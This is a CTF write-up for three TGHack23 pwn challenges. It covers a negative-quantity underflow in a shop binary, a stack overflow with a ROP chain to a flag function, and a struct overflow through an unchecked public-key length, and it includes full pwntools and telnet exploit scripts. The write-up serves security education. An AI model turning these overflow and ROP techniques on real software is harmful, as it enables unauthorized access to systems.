Home TGHack23
Post
Cancel

TGHack23

Challenges were solved post-ctf.

Pwn - Flag butikken

We have gotten a binary which when run displays some sort of shop

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
$ ./butikk
Velkommen til flag butikken! Her kan du kjøpe litt forskjellige flag!
Vi har ikke så mange enda, men flere kommer så følg med!
Du har 5 penger

1. Kjøp flag
2. Avslutt
> 1
1. CTF Flag - Antall: 1 - Pris: 100000
2. Norsk Flag - Antall: 10 - Pris: 5000
3. Svensk Flag - Antall: 500 - Pris: 5
> 1
Hvor mange vil du ha?
> 1
Total pris: 100000
Beklager, ikke nok penger :(
Du har 5 penger

It seems that we can specify the amount of flags we want to buy. We could reverse the binary to look at what the binary does with our input, but these shop-challenges sometimes do not handle negative numbers very well. So what happens if we try to buy -1 amount of CTF-flags?

1
2
3
4
5
6
7
8
9
10
11
12
1. Kjøp flag
2. Avslutt
> 1
1. CTF Flag - Antall: 1 - Pris: 100000
2. Norsk Flag - Antall: 10 - Pris: 5000
3. Svensk Flag - Antall: 500 - Pris: 5
> 1
Hvor mange vil du ha?
> -1
Total pris: -100000
Du kjøpte -1 for -100000
TG23{Underflow, overflow, all the flows}Du har 100005 penger

We get the flag!

1
TG23{Underflow, overflow, all the flows}Du har 100005 penger

Pwn - Hvelvet

We are given another binary, but this one does not seem to do much

1
2
3
4
5
$ ./vault
Foran deg er en stor hvelv-dør, midt på er hjulet som sitter fast, men den står på tallet 0.
Til høyre er et display med en touchpad som lyser opp
Please supply passphrase: aaaa
$

If we give it a longer input it segfaults

1
2
3
4
5
6
$ ./vault
Foran deg er en stor hvelv-dør, midt på er hjulet som sitter fast, men den står på tallet 0.
Til høyre er et display med en touchpad som lyser opp
Please supply passphrase: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
$

Running checksec confirms that this might be some ROP challenge

1
2
3
4
5
6
checksec ./vault
  Arch:     amd64-64-little
  RELRO:    Partial RELRO
  Stack:    No canary found
  NX:       NX enabled
  PIE:      No PIE (0x3ff000)

From Ghidra we find the main function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
void main(void){
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined8 local_10;

  initialize();
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  local_10 = 0;
  printf(&DAT_00402068,(ulong)(uint)(int)number);
  puts(&DAT_004020d0);
  printf("Please supply passphrase: ");
  fgets((char *)&local_28,0x140,stdin);
  return;
}

There is also a function which prints us the flag if a pin is set correctly, looking something like this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pin[0] = pin[0] ^ 1;
pin[1] = pin[0] ^ 2;
pin[2] = pin[0] ^ 3;
pin[3] = pin[0] ^ 4;

if(!strncmp(pin, code, 4)){
    puts("Sorry incorrect PIN");
    exit(1);
}
FILE *fp = fopen("flag.txt", "r");
chr = fgetc(f);
while(chr != EOF){
  printf("%c", chr);
  chr = fgetc(f);
}

We also have the functions rotate_left, rotate_right and rotate, which from Ghidra it seems that rotate_left and rotate_right rotates a number between 0-9, and rotate, which is called form both functions, assigns the number to the code array.

Pseudocode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
void rotate(){
  number = number + direction;
  code[idx] = number;
}

void rotate_left(){
  direction = -1;
  idx = (idx + 1) % 4;
  rotate();
}

void rotate_right(){
  direction = 1;
  idx = (idx + 1) % 4;
  rotate();
}

By overflowing the buffer in main we could call the rotate-functions to rotate the code to match the pin, then we could call the function printing the flag.

Our plan would then be:

  • Find offset to RIP
  • Find the pin, and rotate to match it
  • Call flag-printing function

Finding the offset to RIP

We find the offset using pwndbg using a cyclic pattern

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
pwndbg> cyclic 50
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga
pwndbg> r
Starting program: /home/andreas/Downloads/tg23hack/writeups/pwn/pwn_hvelvet/TGHACK/Challenge/src/vault
Foran deg er en stor hvelv-dør, midt på er hjulet som sitter fast, men den står på tallet 0.
Til høyre er et display med en touchpad som lyser opp
Please supply passphrase: aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaaga

Program received signal SIGSEGV, Segmentation fault.
<snip>
 ► 0x4014f6 <main+142>    ret    <0x6161616161616166>
<snip>
pwndbg> cyclic -l 0x6161616161616166
Finding cyclic pattern of 8 bytes: b'faaaaaaa' (hex: 0x6661616161616161)
Found at offset 40

The offset is 40

Finding and matching the PIN

We find the address of the flag-printing function, open_door, using ROPgadget and call open_door with ROP. Inside of open_door we can break in GDB to view the PIN at the strncmp call

Building and sending the payload

1
2
3
4
5
6
7
io = start()
io.recvuntil(b"passphrase:")

payload = b'A' * offset
payload += pack(exe.sym.open_door)

io.sendline(payload)

Breaking at the strncmp call we see the variables used in the function call

1
2
3
s1: 0x404070 (pin) ◂— 0x3030300031333337 /* '7331' */
s2: 0x404075 (code) ◂— 0xff00000030303030 /* '0000' */
n: 0x4

By playing with the rotations to get them correct and using the same method of breaking at strncmp, we end up with the payload

1
2
3
4
5
6
7
payload = b'A' * offset
payload += pack(rot_right) * 3
payload += pack(rot_left) * 10
payload += pack(rot_right) * 8
payload += pack(rot_left) * 4
payload += pack(exe.sym.open_door)
io.sendline(payload)

Which gives ut the flag

1
2
3
4
5
6
$ python3 exploit.py
<snip>
[*] Switching to interactive mode
TG23{R0Ping around the v4ult}
[*] Got EOF while reading in interactive
$

Final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

# Set up pwntools for the correct architecture
exe = context.binary = ELF('./vault')
host = args.HOST or 'IP'
port = int(args.PORT or 1337)

def start_local(argv=[], *a, **kw):
    '''Execute the target binary locally'''
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a, **kw)

def start_remote(argv=[], *a, **kw):
    '''Connect to the process on the remote host'''
    io = connect(host, port)
    if args.GDB:
        gdb.attach(io, gdbscript=gdbscript)
    return io

def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.LOCAL:
        return start_local(argv, *a, **kw)
    else:
        return start_remote(argv, *a, **kw)

# Specify your GDB script here for debugging
# GDB will be launched if the exploit is run via e.g.
# ./exploit.py GDB
gdbscript = '''
tbreak open_door
continue
'''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
# Arch:     amd64-64-little
# RELRO:    Partial RELRO
# Stack:    No canary found
# NX:       NX enabled
# PIE:      No PIE (0x400000)

offset = 40
pin = 7331
rot_right = 0x4013c4
rot_left = 0x401385

io = start()
io.recvuntil(b"passphrase:")

payload = b'A' * offset
payload += pack(rot_right) * 3
payload += pack(rot_left) * 10
payload += pack(rot_right) * 8
payload += pack(rot_left) * 4
payload += pack(exe.sym.open_door)

io.sendline(payload)
io.interactive()
1
TG23{R0Ping around the v4ult}

Pwn - Flagg-server

We receive a binary for the flag-server, and the challenge description tells us we can communicate with the binary through telnet.

The protections are

1
2
3
4
5
6
checksec ./binexp
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

When reversing the binary and the handle_client function we see that if we connect from a specific IP a memory location is set to 1, and is stored in a struct in the variable inta

1
2
3
4
5
6
7
8
9
10
  astruct = (astruct *)malloc(0x208);
  astruct->inta = 0;
  astruct->intb = socket_fd;
  memset(astruct,0,0x200);
  client_ip = inet_ntoa(iStack_40b4);
  rc = strcmp(client_ip,"185.80.182.112");
  if (rc == 0) {
    puts("Arne speaking!");
    astruct->inta = 1;
  }

astruct->inta is used to determine if we can view the flag, which we originally cannot as long as we don’t have the specific IP when connecting to the telnet service

1
2
3
4
5
6
7
8
9
10
    rc = strncmp("ENCRYPT ",user_input,8);
    if (rc != 0) {
      rc = strncmp("FLAG",user_input,4);
      if (rc == 0) {
        if (astruct->inta == 0) {
          write_to_user(astruct,"You are not allowed to get the flag\n");
        }
        else {
        // Print and send back flag
        }

If we somehow could change the value in astruct->inta we would be able to get the flag, which luckily we can due to an overflow!

This part of the code (reversed with Ghidra) shows that the user-supplied public-key does not have its length checked, meaning that we can overwrite variables in the astruct struct if we supply more than 0x200 bytes, since the struct looks something like this

1
2
3
4
5
struct astruct {
  char pubkey[0x200];
  int inta;
  int socket_fd;
}

Supplying 4 more bytes would result in us overwriting astruct->inta, and as long as we overwrite with something else than a 0 we will be able to retrieve the flag.

The public-key is first located from our input before its length is retrieved. The key then gets loaded which makes the rest of the communication with the server encrypted, and the public-key is memcpyed into astruct

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
    printf("Start: %p\n",pubkey_buffer);
    tmp_buf = strchr(pubkey_buffer,L'\n');
    if (tmp_buf != (char *)0x0) {
      *tmp_buf = '\0';
    }
    tmp_buf = strchr(pubkey_buffer,L'\r');
    if (tmp_buf != (char *)0x0) {
      *tmp_buf = '\0';
    }
    len = strlen(pubkey_buffer);
    printf("Got pubkey: \"%s\" (len %d)\n",pubkey_buffer,len & 0xffffffff);
    pkey = (EVP_PKEY *)load_public_key(pubkey_buffer);
    if (pkey != (EVP_PKEY *)0x0) {
      EVP_PKEY_free(pkey);
      memcpy(astruct,pubkey_buffer,(long)(int)len);
      write_to_user(astruct,"Encryption set successfully\n");
      goto LAB_00102c35;
    }

Since we have overwritten astruct->inta we can get the flag without having to connect from the specified IP-address.

Final exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
import base64
import telnetlib

def generate_keypair():
    """
    Generate 2048-bit RSA keypair
    """
    key = RSA.generate(2048)
    priv_key = RSA.import_key(key.export_key())
    pub_key = key.publickey().export_key()
    return priv_key, pub_key.split(b"-----")[2].replace(b"\n", b"")

def extend_publickey(key):
    """
    Pad public key to 516 bytes with null bytes
    Except last byte which has to not be 0 to give us flag
    """
    key_padded = base64.b64decode(key).ljust(384, b"\x00") + b"\x01"
    assert len(base64.b64encode(key_padded)) == 516
    return base64.b64encode(key_padded)

def decrypt_msg(msg, key):
    """
    Decrypt message with private key
    """
    enc_msg = base64.b64decode(msg)
    cipher = PKCS1_OAEP.new(key)
    return cipher.decrypt(enc_msg).decode()

priv_key, pub_key = generate_keypair()
tn = telnetlib.Telnet("localhost", 1337)
tn.read_until(b"> ")
tn.write(b"ENCRYPT " + extend_publickey(pub_key))
tn.read_until(b"> ")
tn.write(b"FLAG")
tn.read_until(b"Encrypted response: ")
enc_flag = tn.read_until(b"\n").decode()
print(decrypt_msg(enc_flag, priv_key))
1
2
$ python3 exploit.py
Congratulations. The flag: TG23{345Y_8U7_w17h_4_7w157}
This post is licensed under CC BY 4.0 by the author.